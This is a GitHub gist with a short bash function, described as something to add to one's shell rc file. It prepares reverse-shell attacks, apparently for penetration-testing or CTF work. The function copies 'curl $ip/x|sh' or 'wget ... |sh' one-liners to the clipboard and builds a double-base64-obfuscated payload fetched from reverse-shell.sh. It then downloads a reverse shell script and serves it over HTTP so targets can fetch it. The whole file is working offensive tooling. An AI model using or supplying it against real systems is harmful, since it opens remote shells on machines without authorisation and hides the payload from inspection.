Created
April 9, 2024 03:21
-
-
Save zAbuQasem/15758b423a15e3c36cbce06f007f2228 to your computer and use it in GitHub Desktop.
Add this function to your `$SHELL.rc` file
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
s() { | |
local ip=$(ip -4 addr show tun0 | grep inet | awk '{print $2}' | cut -d/ -f1) | |
case "$1" in | |
-w ) echo -n "wget -qO - http://$ip/x |sh" | xclip -sel clip ;; | |
-e ) payload="echo $(curl -sq https://reverse-shell.sh/$ip:443 | sed '/^#/d' | base64 -w0) | base64 -d | sh" ; echo "echo $(echo $payload | base64 -w0)| base64 -d | sh" | xclip -sel clip ; return 0;; | |
* ) echo -n "curl $ip/x|sh" | xclip -sel clip ;; | |
esac | |
curl https://reverse-shell.sh/$ip:443 -o x | |
python3 -m http.server 80 | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment